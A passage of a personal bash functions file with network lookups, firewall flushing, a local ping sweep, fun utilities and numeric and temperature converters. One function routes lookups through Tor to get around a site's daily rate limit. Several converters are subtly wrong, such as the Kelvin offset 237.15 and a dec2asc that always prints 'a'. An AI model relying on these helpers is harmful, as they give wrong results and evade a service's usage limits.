		Once you have successfully copied and pasted it, save it and
		press any key to continue...

		"
		gpg -d $HOME/file.txt
		echo -n "All done."
}

# Text alignment
#------------------------------------------////

###### center text in console with simple pipe like
function align_center() { l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;} #; ls --color=none / | center

###### right-align text in console using pipe like ( command | right )
function align_right() { l="$(cat -)"; [ -n "$1" ] && s=$1 || s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;} #; ls --color=none / | right 150

# Network information and IP address stuff
#------------------------------------------////

###### get all IPs via ifconfig
function allips()
{
		sudo ifconfig | awk '/inet / {sub(/addr:/, "", $2); print $2}'
}

###### clear iptables rules safely
function clearIptables()
{
		iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L
}

###### online check
function connected() { ping -c1 -w2 google.com > /dev/null 2>&1; }

function connected_() { rm -f /tmp/connect; http_proxy='http://a.b.c.d:8080' wget -q -O /tmp/connect http://www.google.com; if [[ -s /tmp/connect ]]; then return 0; else return 1; fi; }

###### check if a remote port is up using dnstools.com - (i.e. from behind a firewall/proxy)
function cpo() { [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && echo OPEN || echo CLOSED; }

###### find an unused unprivileged TCP port
function findtcp()
{
		(netstat  -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
}

###### geoip lookup (need geoip database: sudo apt-get install geoip-bin)
function geoip() {
		sudo geoiplookup $1
}

###### geoip information - requires 'html2text': sudo apt-get install html2text
function geoiplookup() { curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }

###### get IP address of a given interface - Example: getip lo - Example: getip eth0	# this is the default
function getip()		{ lynx -dump http://whatismyip.org/; }

###### display private IP
function ippriv()
{
    sudo ifconfig eth0|grep "inet adr"|awk '{print $2}'|awk -F ':' '{print $2}'
}

###### ifconfig connection check
function ips()
{
    if [ "$OS" = "Linux" ]; then
        for i in $( /sbin/ifconfig | grep ^e | awk '{print $1}' | sed 's/://' ); do echo -n "$i: ";  /sbin/ifconfig $i | perl -nle'/dr:(\S+)/ && print $1'; done
    elif [ "$OS" = "Darwin" ]; then
        for i in $( /sbin/ifconfig | grep ^e | awk '{print $1}' | sed 's/://' ); do echo -n "$i: ";  /sbin/ifconfig $i | perl -nle'/inet (\S+)/ && print $1'; done
    fi
}

###### geolocate a given IP address
function ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g'; }

###### ip2locall
function ip2locall() {
		# best if used through a proxy, as ip2loc's free usage only lets you search a maximum of 20 times per day
		# currently set on using a proxy through tor; if don't want that, just comment out the two 'export..' and 'unset...' lines
		export http_proxy='http://localhost:8118'
		export https_proxy='http://localhost:8118'
		echo ""
		echo "Country:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Region (State, Province, Etc.):"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIRegion\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "City:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICity\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Latitude:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILatitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Longitude:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILongitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "ZIP Code:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIZIPCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Time Zone:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblITimeZone\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Net Speed:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblINetSpeed\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "ISP:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIISP\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Domain:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIDomain\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "IDD Code:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIIDDCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Area Code:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIAreaCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Weather Station:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIWeatherStation\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "MCC:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMCC\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "MNC:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMNC\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Mobile Brand:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMobileBrand\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		unset http_proxy
		unset https_proxy
}

###### ip2locate
function ip2locate() {
		# best if used through a proxy, as ip2loc's free usage only lets you search a maximum of 20 times per day
		# currently set on using a proxy through tor; if don't want that, just comment out the two 'export..' and 'unset...' lines
		export http_proxy='http://localhost:8118'
		export https_proxy='http://localhost:8118'
		echo ""
		echo "Country:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Region (State, Province, Etc.):"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIRegion\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "City:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICity\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Latitude:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILatitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		echo "Longitude:"
		wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILongitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g';
		echo ""
		unset http_proxy
		unset https_proxy
}

###### find the IP addresses that are currently online in your network
function localIps()
{
		for i in {1..254}; do
		    x=`ping -c1 -w1 192.168.1.$i | grep "%" | cut -d"," -f3 | cut -d"%" -f1 | tr '\n' ' ' | sed 's/ //g'`
		    if [ "$x" == "0" ]; then
			echo "192.168.1.$i"
		    fi
		done
}

####### Meine momentane IP-Adresse
function myipis ()
{
	echo MyIP:
	elinks -dump http://checkip.dyndns.org:8245/ | grep "Current IP Address" | cut -d":" -f2 | cut -d" " -f2
}

###### myip - finds your current IP if your connected to the internet
function myip()
{
		lynx -dump -hiddenlinks=ignore -nolist http://checkip.dyndns.org:8245/ | awk '{ print $4 }' | sed '/^$/d; s/^[ ]*//g; s/[ ]*$//g'
}

###### netinfo - shows network information for your system
function netinfo()
{
		echo "--------------- Network Information ---------------"
		/sbin/ifconfig | awk /'inet addr/ {print $2}'
		/sbin/ifconfig | awk /'Bcast/ {print $3}'
		/sbin/ifconfig | awk /'inet addr/ {print $4}'
		/sbin/ifconfig | awk /'HWaddr/ {print $4,$5}'
		myip=`lynx -dump -hiddenlinks=ignore -nolist http://checkip.dyndns.org:8245/ | sed '/^$/d; s/^[ ]*//g; s/[ ]*$//g' `
		echo "${myip}"
		echo "---------------------------------------------------"
}

###### check whether or not a port on your box is open
function portcheck() { for i in $@;do curl -s "deluge-torrent.org/test-port.php?port=$i" | sed '/^$/d;s/<br><br>/ /g';done; }

###### scp sending
function scpsend()
{
		scp -P PORTNUMBERHERE "$@" [email protected]:/var/www/html/pathtodirectoryonremoteserver/;
}

###### show ip
function show_ip()
{
	    case $1 in
		*help | "" )
		    echo -e "\n${ewhite}Usage:\n"
		    echo -e "${eorange}show_ip${ewhite} |${egreen} <interface> ${eiceblue}[show ip-address for <interface>]\
		    \n${eorange}show_ip${ewhite} |${egreen} external${eiceblue} [show external ip address]\n"
		    tput sgr0
		;;
		*external )
		    wget -q -O - http://showip.spamt.net/
		;;
		* )
		    LANG=C /sbin/ifconfig $1 | grep 'inet addr:' | cut -d: -f2 | gawk '{ print $1}'
		;;
	    esac
}

###### display the ttl of a hostname in a human readable form (packet timetrans veraltet)
#function ttl()
#{
#		/usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}')
#}

###### show Url information - Usage:	url-info "ur"
function url-info()
{
		doms=$@
		if [ $# -eq 0 ]; then
		echo -e "No domain given\nTry $0 domain.com domain2.org anyotherdomain.net"
		fi
		for i in $doms; do
		_ip=$(host $i|grep 'has address'|awk {'print $4'})
		if [ "$_ip" == "" ]; then
		echo -e "\nERROR: $i DNS error or not a valid domain\n"
		continue
		fi
		ip=`echo ${_ip[*]}|tr " " "|"`
		echo -e "\nInformation for domain: $i [ $ip ]\nQuerying individual IPs"
		 for j in ${_ip[*]}; do
		echo -e "\n$j results:"
		whois $j |egrep -w 'OrgName:|City:|Country:|OriginAS:|NetRange:'
		done
		done
}

###### cleanly list available wireless networks (using iwlist)
function wscan()
{
		iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p'
}

####### Show all strings (ASCII & Unicode) in a file
function allStrings() { cat "$1" | tr -d "\0" | strings ; }

####### Find all videos under current directory using	 - MIME a.k.a not using extension
function allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1 ; }

# Miscellaneous Fun	
#------------------------------------------////

###### anagrams
function anagrams()
{
cat > "/tmp/anagrams.py" <<"End-of-message"
#!/usr/bin/python
infile = open ("/usr/share/dict/words", "r")
## "dict" is a reserved word
words_in = infile.readlines()
scrambled = raw_input("Enter the scrambled word: ")
scrambled = scrambled.lower()
scrambled_list = list(scrambled)
scrambled_list.sort()
for word in words_in:
    word_list = list(word.strip().lower())
    word_list.sort()
    ## you don't really have to compare lengths when using lists as the
    ## extra compare takes about as long as finding the first difference
    if word_list == scrambled_list:
        print word, scrambled
End-of-message
chmod +x "/tmp/anagrams.py"
"/tmp/anagrams.py" "$1"
rm "/tmp/anagrams.py"
}

function anagram_() { function s() { sed 's/[[:space:]]*//g;s/./\n\0/g'<<<"$@"|tr A-Z a-z|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }

###### random Cyanide and Happiness comics from explosm.net
function cyanide() { display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po 'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }

###### fake error string
function error()
{
		while true; do awk '{ print ; system("let R=$RANDOM%10; sleep $R") }' compiler.log; done
}

###### stupid funny face
function funny_face() {
		_ret=$?; if test $_ret -ne 0; then echo "0_0->ret=$_ret"; set ?=$_ret; unset _ret; else echo "^_^"; fi
}

###### pretend to be busy in office to enjoy a cup of coffee
function grepcolor()
{
		cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
}

###### a simple number guessing game
function hilow()
{
		biggest=1000                            # maximum number possible
		guess=0                                 # guessed by player
		guesses=0                               # number of guesses made
		number=$(( $$ % $biggest ))             # random number, 1 .. $biggest
		while [ $guess -ne $number ] ; do
		  echo -n "Guess? " ; read guess
		  if [ "$guess" -lt $number ] ; then
		    echo "... bigger!"
		  elif [ "$guess" -gt $number ] ; then
		    echo "... smaller!"
		  fi
		  guesses=$(( $guesses + 1 ))
		done
		echo "Right!! Guessed $number in $guesses guesses."
}

###### watch the National debt clock
function natdebt()
{
		watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
}

######
function oneliners()
{
		w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}'
}

###### random cowsay stuff
function random_cow()
{
		files=(/usr/share/cowsay/cows/*)
		printf "%s\n" "${files[RANDOM % ${#files}]}"
}

####### Temporarily add to PATH
function apath()
{
	    if [ $# -lt 1 ] || [ $# -gt 2 ]; then
		   echo "Temporarily add to PATH"
		   echo "usage: apath [dir]"
	    else
		   PATH=$1:$PATH
	    fi
}

###### Function you want after you've overwritten some - important file using > instead of >> ^^
function append() {
        lastarg="${!#}"
        echo "${@:1:$(($#-1))}" >> "$lastarg"
}

####### Common commands piped through grep
function aptg()		# debian specific.
{
	    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
		   echo "search debian package list"
		   echo "usage: aptg [program/keyword]"
	    else
		   apt-cache search $1 | sort | less
	    fi
}

###### grep by paragraph instead of by line
function grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}

function hgg()
{
	    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
		   echo "search bash history"
		   echo "usage: mg [search pattern]"
	    else
		   history | grep -i $1 | grep -v hg
	    fi
}

function lsofg()
{
	    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
		   echo "grep lsof"
		   echo "usage: losfg [port/program/whatever]"
	    else
		   lsof | grep -i $1 | less
	    fi
}

function psg()
{
	    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
		   echo "grep running processes"
		   echo "usage: psg [process]"
	    else
		   ps aux | grep USER | grep -v grep
		   ps aux | grep -i $1 | grep -v grep
	    fi
}

####### To show Apt Log History
function apt-history() {
      case "$1" in
        install)
              cat /var/log/dpkg.log | grep 'install '
              ;;
        upgrade|remove)
              cat /var/log/dpkg.log | grep $1
              ;;
        rollback)
              cat /var/log/dpkg.log | grep upgrade | \
                  grep "$2" -A10000000 | \
                  grep "$3" -B10000000 | \
                  awk '{print $4"="$5}'
              ;;
        *)
              cat /var/log/dpkg.log
              ;;
      esac
}

####### Undo apt-get build-dep (remove build dependencies)					 #
function aptitude-remove-dep() { sudo aptitude markauto $(apt-cache showsrc "$1" | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g'); }

####### Arch-wiki-docs simple search
function archwikisearch() {
    # old version
    # cd /usr/share/doc/arch-wiki/html/
    # grep -i "$1" index.html | sed 's/.*HREF=.\(.*\.html\).*/\1/g' | xargs opera -newpage
    cd /usr/share/doc/arch-wiki/html/
    for i in $(grep -li $1 *)
    do
	STRING=`grep -m1 -o 'wgTitle = "[[:print:]]\+"' $i`
	LEN=${#STRING}
	let LEN=LEN-12
	STRING=${STRING:11:LEN}
	LOCATION="/usr/share/doc/arch-wiki/html/$i"
	echo -e " \E[33m$STRING   \E[37m$LOCATION"
    done
}

# Numerical conversions and numbers stuff
#------------------------------------------////

###### convert arabic to roman numerals
function arabic2roman() {

  echo $1 | sed -e 's/1...$/M&/;s/2...$/MM&/;s/3...$/MMM&/;s/4...$/MMMM&/
s/6..$/DC&/;s/7..$/DCC&/;s/8..$/DCCC&/;s/9..$/CM&/
s/1..$/C&/;s/2..$/CC&/;s/3..$/CCC&/;s/4..$/CD&/;s/5..$/D&/
s/6.$/LX&/;s/7.$/LXX&/;s/8.$/LXXX&/;s/9.$/XC&/
s/1.$/X&/;s/2.$/XX&/;s/3.$/XXX&/;s/4.$/XL&/;s/5.$/L&/
s/1$/I/;s/2$/II/;s/3$/III/;s/4$/IV/;s/5$/V/
s/6$/VI/;s/7$/VII/;s/8$/VIII/;s/9$/IX/
s/[0-9]//g'

}

###### convert ascii
function asc2all() {
    if [[ $1 ]]; then
	echo "ascii $1 = binary $(asc2bin $1)"
	echo "ascii $1 = octal $(asc2oct $1)"
	echo "ascii $1 = decimal $(asc2dec $1)"
	echo "ascii $1 = hexadecimal $(asc2hex $1)"
	echo "ascii $1 = base32 $(asc2b32 $1)"
	echo "ascii $1 = base64 $(asc2b64 $1)"
    fi
}

######
function asc2bin() {
    if [[ $1 ]]; then
	echo "obase=2 ; $(asc2dec $1)" | bc
    fi
}

######
function asc2b64() {
    if [[ $1 ]]; then
	echo "obase=64 ; $(asc2dec $1)" | bc
    fi
}

######
function asc2b32() {
    if [[ $1 ]]; then
	echo "obase=32 ; $(asc2dec $1)" | bc
    fi
}

######
function asc2dec() {
    if [[ $1 ]]; then
	printf '%d\n' "'$1'"
    fi
}

######
function asc2hex() {
    if [[ $1 ]]; then
	echo "obase=16 ; $(asc2dec $1)" | bc
    fi
}

######
function asc2oct() {
    if [[ $1 ]]; then
	echo "obase=8 ; $(asc2dec $1)" | bc
    fi
}

###### Averaging columns of numbers - Computes a columns average in a file. Input parameters = column number and optional pattern.
function avg() { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; }

###### convert binaries
function bin2all() {
    if [[ $1 ]]; then
	echo "binary $1 = octal $(bin2oct $1)"
	echo "binary $1 = decimal $(bin2dec $1)"
	echo "binary $1 = hexadecimal $(bin2hex $1)"
	echo "binary $1 = base32 $(bin2b32 $1)"
	echo "binary $1 = base64 $(bin2b64 $1)"
	echo "binary $1 = ascii $(bin2asc $1)"
    fi
}

######
function bin2asc() {
    if [[ $1 ]]; then
	echo -e "\0$(printf %o $((2#$1)))"
    fi
}

######
function bin2b64() {
    if [[ $1 ]]; then
	echo "obase=64 ; ibase=2 ; $1" | bc
    fi
}

######
function bin2b32() {
    if [[ $1 ]]; then
	echo "obase=32 ; ibase=2 ; $1 " | bc
    fi
}

######
function bin2dec() {
    if [[ $1 ]]; then
	echo $((2#$1))
    fi
}

######
function bin2hex() {
    if [[ $1 ]]; then
	echo "obase=16 ; ibase=2 ; $1" | bc
    fi
}

######
function bin2oct() {
    if [[ $1 ]]; then
	echo "obase=8 ; ibase=2 ; $1" | bc
    fi
}

###### simple calculator to 4 decimals
function calc() {
	echo "scale=4; $1" | bc
}

###### temperature conversion
function cel2fah() {

  if [[ $1 ]]; then
    echo "scale=2; $1 * 1.8  + 32" | bc
  fi

}

######
function cel2kel() {

  if [[ $1 ]]; then
    echo "scale=2; $1 + 237.15" | bc
  fi

}

######
function fah2cel() {

  if [[ $1 ]]; then
    echo "scale=2 ; ( $1 - 32  ) / 1.8" | bc
  fi

}

######
function fah2kel() {

  if [[ $1 ]]; then
    echo "scale=2; ( $1 + 459.67 ) / 1.8 " | bc
  fi

}

######
function kel2cel() {

  if [[ $1 ]]; then
    echo "scale=2; $1 - 273.15" | bc
  fi

}

######
function kel2fah() {

  if [[ $1 ]]; then
    echo "scale=2; $1 * 1.8 - 459,67" | bc
  fi

}

###### Output an ASCII character given its decimal equivalent
function chr() { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }

###### the notorious "hailstone" or Collatz series.
function collatz()
{
	# get the integer "seed" from the command-line to generate the integer "result"
	# if NUMBER is even, divide by 2, or if odd, multiply by 3 and add 1
	# the theory is that every sequence eventually settles down to repeating "4,2,1..." cycles
	MAX_ITERATIONS=200
	# For large seed numbers (>32000), try increasing MAX_ITERATIONS.
	h=${1:-$$}                      #  Seed. #  Use $PID as seed, #+ if not specified as command-line arg.
	echo
	echo "C($h) --- $MAX_ITERATIONS Iterations"
	echo
	for ((i=1; i<=MAX_ITERATIONS; i++))
	do
	COLWIDTH=%7d
	printf $COLWIDTH $h
	  let "remainder = h % 2"
	  if [ "$remainder" -eq 0 ]   # Even?
	  then
	    let "h /= 2"              # Divide by 2.
	  else
	    let "h = h*3 + 1"         # Multiply by 3 and add 1.
	  fi
	COLUMNS=10                    # Output 10 values per line.
	let "line_break = i % $COLUMNS"
	if [ "$line_break" -eq 0 ]
	then
	  echo
	fi
	done
	echo
}

###### temperature conversion script that lets the user enter a temperature in any of Fahrenheit, Celsius or Kelvin and receive the equivalent temperature in the other two units as the output. - usage:	convertatemp F100 (if don't put F,C, or K, default is F)
function convertatemp(){
	if uname | grep 'SunOS'>/dev/null ; then
	  echo "Yep, SunOS, let\'s fix this baby"
	  PATH="/usr/xpg4/bin:$PATH"
	fi
if [ $# -eq 0 ] ; then
  cat << EOF >&2
Usage: $0 temperature[F|C|K]
where the suffix:
   F	indicates input is in Fahrenheit (default)
   C	indicates input is in Celsius
   K	indicates input is in Kelvin
EOF
fi
	unit="$(echo $1|sed -e 's/[-[[:digit:]]*//g' | tr '[:lower:]' '[:upper:]' )"
	temp="$(echo $1|sed -e 's/[^-[[:digit:]]*//g')"
	case ${unit:=F}
	in
	  F ) # Fahrenheit to Celsius formula:  Tc = (F -32 ) / 1.8
	  farn="$temp"
	  cels="$(echo "scale=2;($farn - 32) / 1.8" | bc)"
	  kelv="$(echo "scale=2;$cels + 273.15" | bc)"
	  ;;
	  C ) # Celsius to Fahrenheit formula: Tf = (9/5)*Tc+32
	  cels=$temp
	  kelv="$(echo "scale=2;$cels + 273.15" | bc)"
	  farn="$(echo "scale=2;((9/5) * $cels) + 32" | bc)"
	  ;;
	  K ) # Celsius = Kelvin + 273.15, then use Cels -> Fahr formula
	  kelv=$temp
	  cels="$(echo "scale=2; $kelv - 273.15" | bc)"
	  farn="$(echo "scale=2; ((9/5) * $cels) + 32" | bc)"
	esac
	echo "Fahrenheit = $farn"
	echo "Celsius    = $cels"
	echo "Kelvin     = $kelv"
}

###### convert hexadecimal numbers to decimals
function dec()		{ printf "%d\n" $1; }

###### convert decimals to hexadecimal numbers
function hex()		{ printf "0x%08x\n" $1; }

###### convert decimals
function dec2all() {
    if [[ $1 ]]; then
	echo "decimal $1 = binary $(dec2bin $1)"
	echo "decimal $1 = octal $(dec2oct $1)"
	echo "decimal $1 = hexadecimal $(dec2hex $1)"
	echo "decimal $1 = base32 $(dec2b32 $1)"
	echo "decimal $1 = base64 $(dec2b64 $1)"
	echo "deciaml $1 = ascii $(dec2asc $1)"
    fi
}

######
function dec2asc() {
    if [[ $1 ]]; then
	echo -e "\0$(printf %o 97)"
    fi
}

######
function dec2bin() {
    if [[ $1 ]]; then
	echo "obase=2 ; $1" | bc
    fi
}

######
function dec2b64() {
    if [[ $1 ]]; then
	echo "obase=64 ; $1" | bc
    fi
}

######
function dec2b32() {
    if [[ $1 ]]; then
	echo "obase=32 ; $1" | bc
    fi
}

######
function dec2hex() {
    if [[ $1 ]]; then
	echo "obase=16 ; $1" | bc
    fi
}

######
function dec2oct() {
    if [[ $1 ]]; then
	echo "obase=8 ; $1" | bc
    fi
}

###### number --- convert decimal integer to english words - total number Usage:	dec2text 1234 -> one thousand two hundred thirty-four
function dec2text()
{
	prog=`echo "$0" | sed -e 's/[^\/]*\///g'`
	garbage=`echo "$*" | sed -e 's/[0-9,.]//g'`
	if test ".$garbage" != "."; then
	  echo "$prog: Invalid character in argument." 1>&2
	fi
	case "$*" in
	# This doesn't always seem to work.
	#   *[!0-9,.]* ) echo "$prog: Invalid character in argument." 1>&2; ;;
	   *.* ) echo "$prog: fractions not supported (yet)." 1>&2; ;;
	   '' ) echo "Usage: $prog [decimal integer]" 1>&2; ;;
	esac
	result=
	eval set - "`echo ${1+\"$@\"} | sed -n -e '
	  s/[, ]//g
	  s/^00*/0/g
	  s/\(.\)\(.\)\(.\)$/\"\1 \2 \3\"/
	  :l
	  /[0-9][0-9][0-9]/{
		s/\([^\" ][^\" ]*\)\([^\" ]\)\([^\" ]\)\([^\" ]\)/\1\"\2 \3 \4\"/g
		t l
	  }
	  /^[0-9][0-9][0-9]/s/\([^\" ]\)\([^\" ]\)\([^\" ]\)/\"\1 \2 \3\"/
	  /^[0-9][0-9]/s/\([^\" ]\)\([^\" ]\)/\"\1 \2\"/
	  /^[0-9]/s/^\([^\" ][^\" ]*\)/\"\1\"/g;s/\"\"/\" \"/g
	  p'`"
	while test $# -ne 0 ; do
	  eval `set - $1;
		   d3='' d2='' d1=''
		   case $# in
			1 ) d1=$1 ;;
			2 ) d2=$1 d1=$2 ;;
			3 ) d3=$1 d2=$2 d1=$3 ;;
		   esac
		   echo "d3=\"$d3\" d2=\"$d2\" d1=\"$d1\""`
	  val1='' val2='' val3=''
	  case "$d3" in
	    1 ) val3=one   ;;     6 ) val3=six   ;;
	    2 ) val3=two   ;;     7 ) val3=seven ;;
	    3 ) val3=three ;;     8 ) val3=eight ;;
	    4 ) val3=four  ;;     9 ) val3=nine  ;;
	    5 ) val3=five  ;;
	  esac
	  case "$d2" in
	    1 ) val2=teen   ;;    6 ) val2=sixty   ;;
	    2 ) val2=twenty ;;    7 ) val2=seventy ;;
	    3 ) val2=thirty ;;    8 ) val2=eighty  ;;
	    4 ) val2=forty  ;;    9 ) val2=ninety  ;;
	    5 ) val2=fifty  ;;
	  esac
	  case "$val2" in
	    teen )
		 val2=
		 case "$d1" in
		   0 ) val1=ten      ;;     5 ) val1=fifteen   ;;
		   1 ) val1=eleven   ;;     6 ) val1=sixteen   ;;
		   2 ) val1=twelve   ;;     7 ) val1=seventeen ;;
		   3 ) val1=thirteen ;;     8 ) val1=eighteen  ;;
		   4 ) val1=fourteen ;;     9 ) val1=nineteen  ;;
		 esac
		;;
	    0 ) : ;;
	    * )
		 test ".$val2" != '.' -a ".$d1" != '.0' \
		  && val2="${val2}-"
		 case "$d1" in
		   0 ) val2="$val2 " ;;     5 ) val1=five  ;;
		   1 ) val1=one      ;;     6 ) val1=six   ;;
		   2 ) val1=two      ;;     7 ) val1=seven ;;
		   3 ) val1=three    ;;     8 ) val1=eight ;;
		   4 ) val1=four     ;;     9 ) val1=nine  ;;
		 esac
		;;
	  esac
	  test ".$val3" != '.' && result="$result$val3 hundred "
	  test ".$val2" != '.' && result="$result$val2"
	  test ".$val1" != '.' && result="$result$val1 "
	  if test ".$d1$d2$d3" != '.000' ; then
	    case $# in
		  0 | 1 ) ;;
		  2 ) result="${result}thousand "          ;;
		  3 ) result="${result}million "           ;;
		  4 ) result="${result}billion "           ;;
		  5 ) result="${result}trillion "          ;;
		  6 ) result="${result}quadrillion "       ;;
		  7 ) result="${result}quintillion "       ;;
		  8 ) result="${result}sextillion "        ;;
		  9 ) result="${result}septillion "        ;;
		 10 ) result="${result}octillion "         ;;
		 11 ) result="${result}nonillion "         ;;
		 12 ) result="${result}decillion "         ;;
		 13 ) result="${result}undecillion "       ;;
		 14 ) result="${result}duodecillion "      ;;
		 15 ) result="${result}tredecillion "      ;;
		 16 ) result="${result}quattuordecillion " ;;
		 17 ) result="${result}quindecillion "     ;;
		 18 ) result="${result}sexdecillion "      ;;
		 19 ) result="${result}septendecillion "   ;;
		 20 ) result="${result}octodecillion "     ;;
		 21 ) result="${result}novemdecillion "    ;;
		 22 ) result="${result}vigintillion "      ;;
		 * ) echo "Error: number too large (66 digits max)." 1>&2; ;;
	    esac
	  fi
	  shift
	done
	set $result > /dev/null
	case "$*" in
	  '') set zero ;;
